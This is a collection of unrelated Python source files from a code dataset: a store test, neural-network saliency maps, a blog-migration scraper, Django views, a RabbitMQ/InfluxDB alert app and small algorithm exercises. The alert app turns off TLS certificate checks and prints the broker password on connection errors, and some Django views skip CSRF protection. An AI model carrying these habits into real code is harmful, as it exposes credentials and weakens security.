DATABOX_ZMQ_ENDPOINT.\n# ARBITER URI will be drived from that as well (todo)\n\nimport sys\nfrom flask import Flask\nimport ssl\nimport os\nimport time\n\nsys.path.insert(1, '../')\nfrom lib import core_store as databox #main function as providing the storeclient of core store.\nfrom lib import config as config\nimport datetime as datetime\n\nTEST_STORE_URI = os.environ.get('DATABOX_ZMQ_ENDPOINT') or \"tcp://127.0.0.1:5555\"\nTEST_ARBITER_URI = os.environ.get('DATABOX_ARBITER_ENDPOINT') or \"tcp://127.0.0.1:4444\"\nDATA_SOURCE_ID = str(datetime.date.today())\n\n#newKVStore = databox.newKeyValueClient(TEST_STORE_URI, TEST_ARBITER_URI, False)\n#res = newKVStore.write(\"testdata1\", 'KeyWrite', '{\\\"TEST\\\": \\\"data\\\"}', 'JSON')\n#res = newKVStore.read(\"testdata1\", 'KeyWrite','JSON')\n#print(\"Read data from store \" + str(res))\n\nnewTSStore = databox.newTimeSeriesBlobClient(TEST_STORE_URI, TEST_ARBITER_URI, False)\ntimeline = databox.newDataSourceMetadata()\ntimeline['Description'] = 'Twitter user timeline data'\ntimeline['ContentType'] = 'application/json'\ntimeline['Vendor'] = 'Databox Inc.'\ntimeline['DataSourceType'] = 'testdata1'\ntimeline['DataSourceID'] = 'testdata1'\ntimeline['StoreType'] = 'ts'\n\ntry:\n newTSStore.RegisterDatasource(timeline)\nexcept ValueError:\n print(\"error in registoring datastore\")\ncat = newTSStore.GetDatasourceCatalogue()\n\nres = newTSStore.write('testdata1','{\\\"idx\\\": \\\"16\\\"}', contentFormat ='JSON')\n\nres1 = newTSStore.latest('testdata1')\nif(res1):\n print(\"Data res1 latest from the store \" + str(res1))\n\nres2 = newTSStore.earliest('testdata1')\nif(res2):\n print(\"Data res2 earliest from the store \" + str(res2))\n\nres = newTSStore.write('testdata1','{\\\"idx\\\": \\\"17\\\"}', contentFormat ='JSON')\n\nres3 = newTSStore.lastN('testdata1', 1)\nif(res3):\n print(\"Data res3 last 1 from the store \" + str(res3))\n\nres4 = newTSStore.lastN('testdata1', 2)\nif(res4):\n print(\"Data res4 last 2 from the store \" + str(res4))\n\nres5 = newTSStore.since('testdata1', 1570575084924)\nif(res5):\n print(\"Data res5 since the time<1570575084924> from the store \" + str(res5))\n\n\nres6 = newTSStore.range('testdata1', 1570575084924, 1570575441326)\nif(res6):\n print(\"Data res6 in range<1570575084924, 1570575441326> from the store \" + str(res6))\n\n\nres7 = newTSStore.writeAt('testdata1',1570575084925,'{\\\"idx\\\": \\\"20\\\"}')\n\nres8 = newTSStore.latest('testdata1')\n\nif(res8):\n print(\"Data res8 lastest from the store \" + str(res8))\n\n\n#app = Flask(__name__)\n#credentials = config.getHttpsCredentials()\n#fp_cert = open(os.path.abspath(\"certnew.pem\"), \"w+\")\n#fp_cert.write(str(credentials['cert']))\n#fp_cert.close()\n\n#fp_key = open(os.path.abspath(\"keynew.pem\"), \"w+\")\n#fp_key.write(str(credentials['key']))\n#fp_key.close()\n\n#ctx = ('certnew.pem', 'keynew.pem')\n\n#@app.route(\"/ui\")\n#def hello():\n# return \"Hello World!\"\n\n#if __name__ == \"__main__\":\n# print(\"A Databox Driver\")\n #time.sleep(500)\n #app.run(host='0.0.0.0', port=8080, ssl_context=ctx)\n\n","sub_path":"python/driver/drivertest.py","file_name":"drivertest.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"262890362","text":"#!/usr/bin/python3\n\"\"\"\nSet of functions used to call a series of algorithms used to visualize the object localization of a pre-trained \nnetwork in PyTorch. The different algorithms are discussed in several papers, while the implementation is based, \nroughly, on work in the following repository (https://github.com/sar-gupta/weakly-supervised-localization-survey)\n\"\"\"\n\nimport numpy as np\nimport PIL\n\n\nimport torch\nimport torchvision\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\ndef saliency_map_general(model, input, label, plot = False):\n \"\"\"\n saliency_map_general: implementation to return the most general form of the saliency map, informing\n on the regions of interest that activate a specific label.\n Args:\n - model: (PyTorch) Trained model trying to understand \n - input: Image to be classfied and understood, passed as a PyTorch tensor (C x W x H)\n - label: Class to identify the regions of interest\n return: numpy array with heatmap data\n \"\"\"\n input = Variable(input.unsqueeze_(0),requires_grad = True)\n output = model.forward(input)\n model.zero_grad()\n\n output[0][label].backward()\n\n grads = input.grad.data.clamp(min=0)\n grads.squeeze_()\n grads.transpose_(0,1)\n grads.transpose_(1,2)\n grads = np.amax(grads.cpu().numpy(), axis=2)\n \n grads -= grads.min()\n grads /= grads.max()\n \n grads *= 255\n grads = grads.astype(int)\n \n return grads\n\n\ndef guided_saliency_map(model, input, label, plot = False):\n \"\"\"\n guided_saliency_map: implementation to return a guided saliency map, informing\n on the regions of interest that activate a specific label.\n Args:\n - model: (PyTorch) Trained model trying to understand \n - input: Image to be classfied and understood, passed as a PyTorch tensor (C x W x H)\n - label: Class to identify the regions of interest\n return: numpy array with heatmap data \n \"\"\"\n input = Variable(input.unsqueeze_(0), requires_grad=True)\n \n try:\n h = [0]*len(list(model.modules()))\n\n def hookfunc(module, gradInput, gradOutput):\n return tuple([(None if g is None else g.clamp(min=0)) for g in gradInput])\n\n for j, i in enumerate(list(model.modules())):\n h[j] = i.register_backward_hook(hookfunc)\n\n output = model.forward(input)\n model.zero_grad()\n\n\n output[0][label].backward()\n\n for i in range(len(list(model.modules()))):\n h[i].remove()\n except Exception as e:\n print(e)\n for i in range(len(list(model.modules()))):\n h[i].remove()\n \n grads = input.grad.data.clamp(min=0)\n grads.squeeze_()\n grads.transpose_(0,1)\n grads.transpose_(1,2)\n grads = np.amax(grads.cpu().numpy(), axis=2)\n \n grads -= grads.min()\n grads /= grads.max()\n \n grads *= 255\n grads = grads.astype(int)\n\n return grads\n\ndef gradcam(model, input, label, layer_name, plot=False):\n \"\"\"\n gradcam: implementation to return a class activation map using the gradient of class score with each \n of last conv layer filters. Calculate weighted sum of gradients and filters to finally obtain a map \n of size equal to size of filters.\n Args:\n - model: (PyTorch) Trained model trying to understand \n - input: Image to be classfied and understood, passed as a PyTorch tensor (C x W x H)\n - label: Class to identify the regions of interest\n - layer_name: Name of the layer to target, should be the last CNN.\n return:\n PIL image with cativation map\n \"\"\"\n imgs_shape = (input.shape[1], input.shape[2])\n rs = torchvision.transforms.Resize( imgs_shape )\n\n #find the right layer\n last_conv = None\n for name, item in model._modules.items():\n if name == layer_name:\n last_conv = item\n\n if last_conv == None:\n print('Cant find target layer')\n return None\n\n pre_image = input\n global gcdata\n global gcgrads\n\n def bhook(module, gradInputs, gradOutputs):\n global gcgrads\n gcgrads = gradOutputs\n\n def fhook(module, input, output):\n global gcdata\n gcdata = output\n \n hb = last_conv.register_backward_hook(bhook)\n hf = last_conv.register_forward_hook(fhook)\n \n out = model(input.unsqueeze_(0))\n model.zero_grad()\n out[0, label].backward()\n \n hb.remove()\n hf.remove()\n \n gcdata = gcdata[0]\n gcgrads = gcgrads[0].squeeze()\n \n gcgrads = gcgrads.mean(dim=2, keepdim=True)\n gcgrads = gcgrads.mean(dim=1, keepdim=True)\n #\n gcdata = gcdata.mul(gcgrads)\n gcdata = gcdata.sum(dim=0, keepdim=True)\n gcdata = gcdata.clamp(min=0)\n \n gcdata -= gcdata.min()\n gcdata /= gcdata.max()\n\n toi = torchvision.transforms.ToPILImage()\n gcdata = np.array(rs(toi(gcdata.data.cpu())))\n\n input.squeeze()\n \n return gcdata\n\ndef guided_gradcam(model, input, label,layer_name, plot = False):\n \"\"\"\n guided_gradcam: returns a combination of a guided saliency map and class activation map. this combines \n the sensitivity to different classes from gradcam toguether with the greater resolution of the\n saliency map.\n Args:\n - model: (PyTorch) Trained model trying to understand \n - input: Image to be classfied and understood, passed as a PyTorch tensor (C x W x H)\n - label: Class to identify the regions of interest\n - layer_name: Name of the layer to target, should be the last CNN.\n return:\n PIL image with cativation map\n \"\"\"\n gc = gradcam(model, input, label, layer_name, plot=False)\n\n guided = guided_saliency_map(model=model, input=input[0], label=label, plot=False)\n gc = gc * guided\n \n rs = torchvision.transforms.Resize((32,32))\n\n \n gc -= gc.min()\n gc = np.divide(gc, gc.max())\n gc *= 255\n gc = gc.astype(int)\n\n return gc\n\ndef smooth_guided_saliency_map(model, input, label, transform,x=10, percent_noise=10, plot = True):\n \"\"\"\n smooth_guided_saliency_map: Implementation of guided saliency map accounting for the fact \n small, local variations in the local derivatives lead to the apparent noise one sees. This implementation smooths\n these.\n Args:\n - model: (PyTorch) Trained model trying to understand \n - input: Image to be classfied and understood, passed as a PyTorch tensor (C x W x H)\n - x: Number fo times to sample for the smoothing\n - percent_nois: Percentage of noise to be itroduced during sampling for smoothing\n return:\n PIL image with cativation map\n \"\"\"\n tensor_input = input\n \n final_grad = torch.zeros(input.shape).cuda()\n final_grad = final_grad.unsqueeze(0)\n \n h = [0]*len(list(model.modules()))\n\n def hookfunc(module, gradInput, gradOutput):\n return tuple([(None if g is None else g.clamp(min=0)) for g in gradInput])\n\n for j, i in enumerate(list(model.modules())):\n h[j] = i.register_backward_hook(hookfunc)\n \n for i in range(x):\n temp_input = tensor_input\n noise = torch.from_numpy(np.random.normal(loc=0, scale=(percent_noise/100) * \n (tensor_input.max() - tensor_input.min()), \n size=temp_input.shape)).type(torch.cuda.FloatTensor)\n temp_input = (temp_input.cuda() + noise).cpu().numpy()\n temp_input = np.transpose(temp_input, (1,2,0) )\n temp_input = PIL.Image.fromarray(temp_input.astype(np.uint8))\n temp_input = Variable(transform(temp_input).unsqueeze(0).cuda(), requires_grad=True)\n\n output = model.forward(temp_input)\n model.zero_grad()\n output[0][label].backward()\n final_grad += temp_input.grad.data\n \n for i in range(len(list(model.modules()))):\n h[i].remove()\n \n grads = final_grad/x\n grads = grads.clamp(min=0)\n grads.squeeze_()\n grads.transpose_(0,1)\n grads.transpose_(1,2)\n grads = np.amax(grads.cpu().numpy(), axis=2)\n \n grads -= grads.min()\n grads /= grads.max()\n \n grads *= 255\n grads = grads.astype(int)\n\n return grads\n\ndef smooth_guided_gradcam(model, input, label, transform, layer_name, plot = False ):\n guided = smooth_guided_saliency_map(model, input, label,transform = transform, plot = False)\n gc = gradcam(model, input, label, layer_name = layer_name, plot=False)\n gc = gc * guided\n \n rs = torchvision.transforms.Resize((32,32))\n\n \n gc -= gc.min()\n gc = np.divide(gc, gc.max())\n gc *= 255\n gc = gc.astype(int)\n\n return gc\n","sub_path":"Utils/visualize_object_survey.py","file_name":"visualize_object_survey.py","file_ext":"py","file_size_in_byte":8615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"179635448","text":"# html to markdown\n# tistory(hmtl) 블로그를 github(markdown) 블로그로 옮기는 자동화 작업\n\n# 참고 자료\n# https://kimdoky.github.io/python/2017/06/12/python-urllib.html\n# https://jungwoon.github.io/python/crawling/2018/04/12/Crawling-2/\n# convert HTML to Markdown (https://www.browserling.com/tools/html-to-markdown)\n# python-markdownify (https://github.com/matthewwithanm/python-markdownify)\n\nfrom selenium import webdriver as wd\nfrom bs4 import BeautifulSoup as bs\n\n# Convert HTML to Markdown\nfrom markdownify import markdownify as md\n\nimport os\nimport urllib.request as req\n\n# 절대적 대기\nimport time\n\n# 선수 데이터\nmain_url = \"https://pakpark.tistory.com/\"\nstart = \"6\"\n\n# 드라이버 로드\ndriver = wd.Chrome(executable_path='/Users/parkyounghwan/git/Crawling/BlogTransfer/chromedriver')\n\n# 사이트 접속\ndriver.get(main_url + start)\n\narticle = driver.find_element_by_css_selector('#cMain>#mArticle')\n\n# 제목 찾기\ntitle = article.find_element_by_css_selector('.area_title>h3').text\ntitle = title.replace(' ', '-')\n\n# 카테고리 나누기\nif title.find('[') == 0:\n category = title[title.find('[') + 1:title.find(']')]\nelse:\n category = 'pakpark'\n\n# 날짜 찾기\nuserDateInfo = article.find_element_by_css_selector('.area_title>.info_post').text\ndate = userDateInfo[14:25]\ndate = date.replace(\".\", \"-\")\n\n# 내용 찾기\nsite = bs(req.urlopen(main_url + start), \"html.parser\")\narticle = site.find(\"div\", {\"class\":\"area_view\"})\n\ncontent = \"\"\nfor tag in article.findAll(\"p\"):\n content += md(str(tag)) # html to markdown\n\n# 지킬 content 형식\njekyllform = '''---\nlayout: post\ntitle: input-title\ndate: input-date\ncategories: pakpark\ncomments: false\n---\n\n'''\n\njekyllform = jekyllform.replace('input-title', '\"' + title + '\"')\njekyllform = jekyllform.replace('input-date', date)\n\nif category != 'pakpark':\n jekyllform = jekyllform.replace('pakpark', category)\n\n# 파일 이름\nfilename = date + \"-\" + title\nfilename = filename.replace(\" \", \"\")\n\n# 파일 저장 (디렉터리 확인 -> (디렉터리 생성))\ndir_path = '/Users/parkyounghwan/git/parkyounghwan.github.io/_posts/'\n\ntry:\n if not os.path.exists(dir_path + category):\n os.makedirs(os.path.join(dir_path + category))\n print(\"디렉토리 생성: \", category)\n\n dir_path += category\nexcept OSError as e:\n if e.errno != errno.EEXIST:\n print(\"Failed to create directory!!!!\")\n raise\n\n# 파일 쓰기(write)\nfile_path = os.path.join(dir_path, filename + '.md')\nfid = open(file_path, 'w')\n\nif os.path.isfile(file_path):\n fid.write(jekyllform)\n fid.write(content)\n\nfid.close()\n\n# 다음 사이트 접속\n\n# 절대적 대기\ntime.sleep(3)\n\n# 종료\ndriver.close()\ndriver.quit()","sub_path":"BlogTransfer/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"386892405","text":"#!/usr/local/bin/python3\n# -*- coding: UTF-8 -*-\n\nimport requests\n\ntaskListURL = 'http://pm.jieniu.cc/issues?assigned_to_id=me&set_filter=1&sort=priority%3Adesc%2Cupdated_on%3Adesc'\n\ndef close():\n\tresponse = requests.get(taskListURL)\n\tprint(response.json())\n\nif __name__ == '__main__':\n\tclose()\n","sub_path":"Util/ClosePMTask.py","file_name":"ClosePMTask.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"575922303","text":"from django.http import JsonResponse, QueryDict\nfrom django.utils import timezone\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom chat_bot.models import Dictionary\n\nimport json\n\n@csrf_exempt\ndef dictionaries(request):\n if request.method == \"GET\":\n _dictionaries = Dictionary.objects.all()\n\n # hanle bot_id\n if 'bot_id' in request.session:\n bot_id = request.session['bot_id']\n _dictionaries = _dictionaries.filter(bot_id__exact=bot_id)\n\n return JsonResponse(list(_dictionaries.values()), safe=False)\n elif request.method == \"POST\":\n params = json.loads(request.body)\n Dictionary.objects.create(\n bot_id=bot_id,\n word=params.get(\"word\"),\n synonym=params.get(\"synonym\"),\n created_time=timezone.now()\n )\n return JsonResponse({\"status\": 200}, safe=False)\n\n\n@csrf_exempt\ndef dictionary_detail(request, id):\n if request.method == 'GET':\n _dictionaries = list(Dictionary.objects.filter(id=id).values())\n\n if not _dictionaries:\n return JsonResponse(None, safe=False)\n\n return JsonResponse(_dictionaries[0], safe=False)\n elif request.method == \"PUT\":\n params = json.loads(request.body)\n dictionary = Dictionary.objects.get(id=id)\n dictionary.word = params.get('word')\n dictionary.synonym = params.get('synonym')\n dictionary.updated_time = timezone.now()\n dictionary.save()\n return JsonResponse({\"status\": 200}, safe=False)\n elif request.method == \"DELETE\":\n dictionary = Dictionary.objects.get(id=id)\n dictionary.delete()\n return JsonResponse({\"status\": 200}, safe=False)\n\n","sub_path":"tdai/api/views/view_dictionary.py","file_name":"view_dictionary.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"17654673","text":"#!/usr/bin/env python3\n\n# Libraries\nimport time\nimport pika\nimport ot_data_pb2\nimport hiota_message_pb2\nimport common_pb2\nimport os\nimport json\nfrom datetime import datetime\nfrom influxdb import InfluxDBClient\nimport urllib3\nimport hiota_alert\n\n# Disable the warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Configurables\nrabbit_username = str(os.environ['AMQP_USERNAME'])\nrabbit_password = str(os.environ['AMQP_PASSWORD'])\namqp_broker = str(os.environ['AMQP_HOSTNAME'])\namqp_port = int(os.environ['AMQP_PORT'])\ndebug = int(os.environ['AMQP_DEBUG_BOOLEAN'])\nthreshold_value = float(os.environ[\"THRESHOLD_VALUE\"])\ntrace_id = str(os.environ['TRACE_ID'])\ninput_binding_key = str(os.environ['INPUT_BINDING_KEY'])\ninput_queue = str(os.environ['INPUT_QUEUE'])\noutput_binding_key = str(os.environ['OUTPUT_BINDING_KEY'])\nexchange_name = str(os.environ[\"EXCHANGE_NAME\"])\ndiscard_alert_value = int(os.environ[\"DISCARD_ALERT_VALUE\"])\nsave_to_influx = int(os.environ[\"STORE_ALERTS\"])\ninflux_hostname = str(os.environ[\"DEMO_INFLUX_HOSTNAME\"])\ninflux_port = int(os.environ[\"DEMO_INFLUX_PORT\"])\ninflux_username = str(os.environ[\"INFLUX_USERNAME\"])\ninflux_password = str(os.environ[\"INFLUX_PASSWORD\"])\ndata_source = str(os.environ[\"SOURCE\"])\ndata_to_process = str(os.environ[\"DATA_MODEL\"])\ndatabase = str(os.environ[\"DATA_BASE_NAME\"])\nalerts_table = str(os.environ[\"ALERTS_TABLE_NAME\"])\nseverity_level = int(os.environ[\"ALERT_SEVERITY\"])\n\n# Create a handler to process each message as it comes in\ndef processmessage(ch, method, properties, body):\n\n if debug:\n print(\"Processing a message.\")\n\n # Recieve the message and parse out the data\n message = hiota_message_pb2.HiotaMessage()\n message.ParseFromString(body)\n pay_load = (hiota_message_pb2.HiotaMessage(id=message.id, created=message.created, trace_id=[trace_id], ot_data=message.ot_data))\n\n if debug:\n print(pay_load)\n\n # Handle roll, pitch, yaw data from iPhone\n if data_source == \"iphone\" and data_to_process == \"json\":\n # Get the value\n json_data = json.loads(message.ot_data.data_point.value.binary)\n\n try:\n yaw = json_data[\"yaw\"]\n roll = json_data[\"roll\"]\n pitch = json_data[\"pitch\"]\n\n # Debug\n if debug:\n print(json_data)\n\n # If the user wants to discard the alerted value\n if abs(yaw) > threshold_value or abs(roll) > threshold_value or abs(pitch) > threshold_value:\n # Log the value out to the terminal\n alert_msg = \"ALERT!! The absolute value is over \" + str(threshold_value) + \\\n \". Current values are (yaw: \" + str(yaw) + \", roll: \" + str(roll) + \", pitch: \" + \\\n str(pitch) + \")\"\n print(alert_msg)\n hiota_alert.hiota_alert_message_pop(alert_msg, severity=severity_level)\n # If the user wants to save the data to an influx table\n if save_to_influx:\n # Create local time variable\n local_time = datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\")\n # Switch to Database\n client.switch_database(database)\n # Influx data\n influx_data = [\n {\n \"measurement\": alerts_table,\n \"tags\": {},\n \"time\": local_time,\n \"fields\": {\n \"yaw\": yaw,\n \"roll\": roll,\n \"pitch\": pitch\n }\n }\n ]\n # Write the data to influx\n client.write_points(influx_data)\n except KeyError:\n print(\"Data does not include 'yaw,' 'pitch,' and 'roll.' Your configuration is set up to read iPhone-JSON data for yaw, pitch, and roll.\")\n\n # Handle data coming from the data pump in xhiota format\n elif data_source == \"datapump\":\n # Get the value\n value = message.ot_data.data_point.value.sint64\n\n # Debug\n if debug:\n print(pay_load)\n\n # If the user wants to discard the alerted value\n if value > threshold_value:\n # Log the value out to the terminal\n alert_msg = \"ALERT!! The value is over \" + str(threshold_value) + \". Current value is \" + str(value)\n print(alert_msg)\n hiota_alert.hiota_alert_message_pop(alert_msg, severity=severity_level)\n if not discard_alert_value:\n # Serialize the payload (must use Protobuf serialization)\n pay_load = pay_load.SerializeToString()\n # Publish the message back to the Lumada system so it can be sent to the database\n channel.basic_publish(exchange=exchange_name, routing_key=output_binding_key, body=pay_load)\n else:\n # Serialize the payload (must use Protobuf serialization)\n pay_load = pay_load.SerializeToString()\n # Publish the message back to the Lumada system so it can be sent to the database\n channel.basic_publish(exchange=exchange_name, routing_key=output_binding_key, body=pay_load)\n\n# Connect to RabbitMQ AMQP instance\ncredentials = pika.PlainCredentials(username=rabbit_username, password=rabbit_password)\nconnection_params = pika.ConnectionParameters(host=amqp_broker, port=amqp_port, credentials=credentials, connection_attempts=5, socket_timeout=5, ssl=True)\n\n# Create a client to connect with Influxdb\nclient = InfluxDBClient(host=influx_hostname, port=influx_port, username=influx_username, password=influx_password, ssl=True, verify_ssl=False)\n\n# Infinite loop\ntry:\n\n if debug:\n print(\"Threshold app starting.\")\n\n connection = pika.BlockingConnection(connection_params)\n channel = connection.channel()\n\n if debug:\n print(\"Pika connections set.\")\n\n # Create a queue and bind to it\n channel.queue_declare(queue=input_queue)\n channel.queue_bind(exchange=exchange_name, queue=input_queue, routing_key=input_binding_key)\n\n if debug:\n print(\"Bound to pika queue.\")\n\n # Create a callback method to handle incoming messages\n channel.basic_consume(processmessage, queue=input_queue, no_ack=True)\n channel.start_consuming()\n\nexcept KeyboardInterrupt:\n connection.close()\n print(\"Script Exited\")\n\nexcept pika.exceptions.ConnectionClosed:\n print(\"Unable to connect to AMQP broker. The connection timed out.\")\n print(\"Input Binding Key: \" + input_binding_key)\n print(\"Input Queue: \" + input_queue)\n print(\"Output Binding Key: \" + output_binding_key)\n print(\"Trace ID: \" + trace_id)\n print(\"Exchange Name: \" + exchange_name)\n print(\"Rabbit User Name: \" + rabbit_username)\n print(\"Rabbit Password: \" + rabbit_password)\n print(\"Broker IP: \" + amqp_broker)\n print(\"Broker Port: \" + str(amqp_port))\n print(\"Debug Flag: \" + str(debug))\n print(\"Threshold Value: \" + str(threshold_value))","sub_path":"threshold_demo/thresholdapp.py","file_name":"thresholdapp.py","file_ext":"py","file_size_in_byte":7134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"616361169","text":"# -*- coding: utf-8 -*-\n\nimport socket\nimport struct\n\nfrom threading import Lock, Thread\n\nclass DataBank:\n\n \"\"\" Data class for thread safe access to bits and words space \"\"\"\n\n bits_lock = Lock()\n bits = [False] * 0x10000\n words_lock = Lock()\n words = [0] * 0x10000\n\n @classmethod\n def get_bits(cls, address, number=1):\n with cls.bits_lock:\n if (address >= 0) and (address + number <= len(cls.bits)):\n return cls.bits[address: number + address]\n else:\n return None\n\n @classmethod\n def set_bits(cls, address, bit_list):\n with cls.bits_lock:\n if (address >= 0) and (address + len(bit_list) <= len(cls.bits)):\n cls.bits[address: address + len(bit_list)] = bit_list\n return True\n else:\n return None\n\n @classmethod\n def get_words(cls, address, number=1):\n with cls.words_lock:\n if (address >= 0) and (address + number <= len(cls.words)):\n return cls.words[address: number + address]\n else:\n return None\n\n @classmethod\n def __get_word(cls, address): # with no lock, internal function\n if (address >= 0) and (address <= len(cls.words)):\n return cls.words[address]\n else:\n return None\n\n @classmethod\n def set_words(cls, address, word_list):\n with cls.words_lock:\n if (address >= 0) and (address + len(word_list) <= len(cls.words)):\n cls.words[address: address + len(word_list)] = word_list\n return True\n else:\n return None\n\n @classmethod\n def __set_word(cls, address, word):\n if (address >= 0) and (address <= len(cls.words)):\n cls.words[address] = word\n return True\n else:\n return None\n\n @classmethod\n def set_words_v2(cls, address, word_list):\n with cls.words_lock:\n if (address >= 0) and (address + len(word_list) <= len(cls.words)):\n index = 0\n for new_word in word_list:\n current_address = address + index\n old_word = cls.__get_word(current_address)\n if new_word == old_word:\n continue\n else:\n cls.__set_word(current_address, new_word)\n index += 1\n return True\n else:\n return None\n","sub_path":"data_source.py","file_name":"data_source.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"578494564","text":"from typing import List\n\n\nclass Solution:\n def countCharacters(self, words: List[str], chars: str) -> int:\n s = 0\n\n stock = self.stom(chars)\n\n for w in words:\n usage = self.stom(w)\n good = True\n for i, c in usage.items():\n if i not in stock or stock[i] < c:\n good = False\n break\n if good:\n s += len(w)\n\n return s\n\n def stom(self, s):\n stock = {}\n for c in s:\n if c not in stock:\n stock[c] = 0\n stock[c] += 1\n\n return stock\n\n\nprint(Solution().countCharacters([\"cat\",\"bt\",\"hat\",\"tree\"], \"atach\"))\nprint(Solution().countCharacters(words = [\"hello\",\"world\",\"leetcode\"], chars = \"welldonehoneyr\"))","sub_path":"leetcode/char_stock.py","file_name":"char_stock.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"155911569","text":"# -*- coding:utf-8 -*-\nimport os,sys,csv\n\nsys.path.append(\"/share/WebSite/\")\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"WebSite.settings\")\n\nfrom django.contrib.auth.models import User as AuthUser\nfrom User import models as UserModels\n\nclass User(object):\n \"\"\"docstring for App\"\"\"\n def __init__(self):\n self.users = self._read()\n \n def _read(self):\n users = []\n for user in AuthUser.objects.all():\n try:\n UserModels.UserInfo.objects.get(user = user)\n except:\n users.append(user)\n print(\"user info read finish\")\n return users\n\n def _store(self):\n for user in self.users:\n try:\n institution = UserModels.Institution.objects.get(name=\"北京希望组\")\n except:\n institution = UserModels.Institution(\n name = \"北京希望组\",\n description = \"未定义\"\n )\n institution.save()\n userinfo = UserModels.UserInfo(\n user = user,\n institution = institution,\n title = '未定义'\n )\n userinfo.save()\n print(\"user info store finish\")\n def _institution(institution):\n return UserModels.Institution.objects.all()\n","sub_path":"lib/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"384493885","text":"from collections import deque\n\n# https://e-maxx.ru/algo/bfs\ndef bws(A, si):\n used = [0] * len(A)\n d = [0] * len(A)\n p = [0] * len(A)\n used[si] = True\n p[si] = -1\n\n q = deque([si])\n while len(q) > 0:\n vert = q.popleft()\n for vi in range(len(A)):\n if vi == vert:\n continue\n if vi == p[vert]:\n continue\n if A[vi] & A[vert] == 0:\n continue\n \n if used[vi] == False:\n used[vi] = True\n q.append(vi)\n d[vi] = d[vert] + 1\n p[vi] = vert\n else:\n # restore paths s -> vi and vert -> s\n cycle = set()\n k = vert\n while k != si:\n cycle.add(k)\n k = p[k]\n k = vi\n while k != si:\n cycle.add(k)\n k = p[k]\n cycle.add(si)\n return cycle\n \n return set()\n\ndef main():\n n = int(input())\n A = list(map(int, input().split()))\n assert n == len(A)\n\n\n A = list(filter(lambda x: x > 0, A))\n n = len(A)\n\n to_check = set(range(n))\n\n res = -1\n while (len(to_check) > 0):\n si = to_check.pop()\n cycle = bws(A, si)\n r = len(cycle)\n if r != 0:\n res = min(res, r) if res != -1 else r\n if res == 3: # bootleg\n print(res)\n return\n #to_check = to_check - cycle\n\n \n print(res)\n\n\nimport sys\ninput = sys.stdin.readline\nif __name__ == \"__main__\":\n main()","sub_path":"580/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"436794130","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom models import Document\n\nclass DocumentForm(forms.ModelForm):\n \"\"\"Form for editing a document\"\"\"\n revision = forms.IntegerField(widget=forms.HiddenInput())\n \n class Meta:\n model = Document\n fields = ('subject', 'content')\n widgets = {\n 'subject': forms.TextInput(attrs={'class':'span4'}),\n 'content': forms.Textarea(),\n }\n\nclass VisibilityForm(forms.ModelForm):\n \"\"\"Form for managing visibility option of a document\"\"\"\n class Meta:\n model = Document\n fields = ('visibility',)\n\n\n","sub_path":"wadharkka/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"90154169","text":"from __future__ import absolute_import, division, print_function\r\n\r\nimport os\r\n\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\n# TensorFlow and tf.keras\r\nimport tensorflow as tf\r\nimport random\r\nimport pandas as pd\r\n\r\n# Helper libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\r\n\r\n\r\nclass NasdaqGenerator(object):\r\n\r\n def createTestData_nparray(self, data, seqLength, predLength=1):\r\n i = 0\r\n dataX = []\r\n dataY = []\r\n while (i < (len(data) - seqLength - predLength)):\r\n dataX.append(data[i:i + seqLength])\r\n dataY.append(data[i + seqLength:(i + seqLength + predLength)])\r\n i += predLength\r\n\r\n return np.array(dataX), np.array(dataY)\r\n\r\n def createTrainData_nparray(self, data, seqLength, predLength=1):\r\n i = 0\r\n dataX = []\r\n dataY = []\r\n while (i < (len(data) - seqLength - predLength)):\r\n dataX.append(data[i:i + seqLength])\r\n dataY.append(data[i + seqLength:(i + seqLength + predLength)])\r\n i += 1\r\n\r\n return np.array(dataX), np.array(dataY)\r\n\r\n def normalize(self, data):\r\n numerator = data - np.min(data, 0)\r\n denominator = np.max(data, 0) - np.min(data, 0)\r\n return numerator / (denominator + 1e-7)\r\n\r\n def standardize(self, data):\r\n m = np.mean(data)\r\n stdev = np.std(data)\r\n return (data - m) / stdev\r\n\r\n def deStandardize(self, prevData, currentData):\r\n m = np.mean(prevData)\r\n stdev = np.std(prevData)\r\n return currentData * stdev + m\r\n\r\n def DeNormalize(self, prevData, currentData):\r\n min = np.min(prevData, 0)\r\n denominator = np.max(prevData, 0) - np.min(prevData, 0)\r\n return currentData * denominator + min\r\n\r\n def getMinTimeStep(self, data):\r\n min = data[0].shape[0]\r\n for i in 